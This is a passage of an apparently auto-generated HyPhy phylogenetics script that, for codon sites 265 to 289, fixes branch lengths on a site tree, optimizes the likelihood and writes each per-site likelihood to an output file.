ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "265\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 266...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "795,796,797", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 266");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "266\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 267...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "798,799,800", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 267");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "267\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 268...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "801,802,803", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 268");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "268\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 269...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "804,805,806", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 269");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "269\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 270...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "807,808,809", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 270");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "270\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 271...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "810,811,812", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 271");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "271\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 272...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "813,814,815", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 272");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "272\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 273...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "816,817,818", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 273");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "273\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 274...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "819,820,821", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 274");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "274\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 275...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "822,823,824", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 275");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "275\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 276...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "825,826,827", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 276");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "276\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 277...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "828,829,830", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 277");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "277\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 278...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "831,832,833", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 278");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "278\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 279...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "834,835,836", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 279");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "279\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 280...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "837,838,839", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 280");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "280\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 281...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "840,841,842", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 281");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "281\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 282...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "843,844,845", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 282");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "282\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 283...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "846,847,848", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 283");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "283\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 284...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "849,850,851", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 284");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "284\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 285...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "852,853,854", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 285");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "285\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 286...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "855,856,857", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 286");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "286\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 287...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "858,859,860", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 287");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "287\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 288...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "861,862,863", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 288");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "288\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 289...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "864,865,866", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 289");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
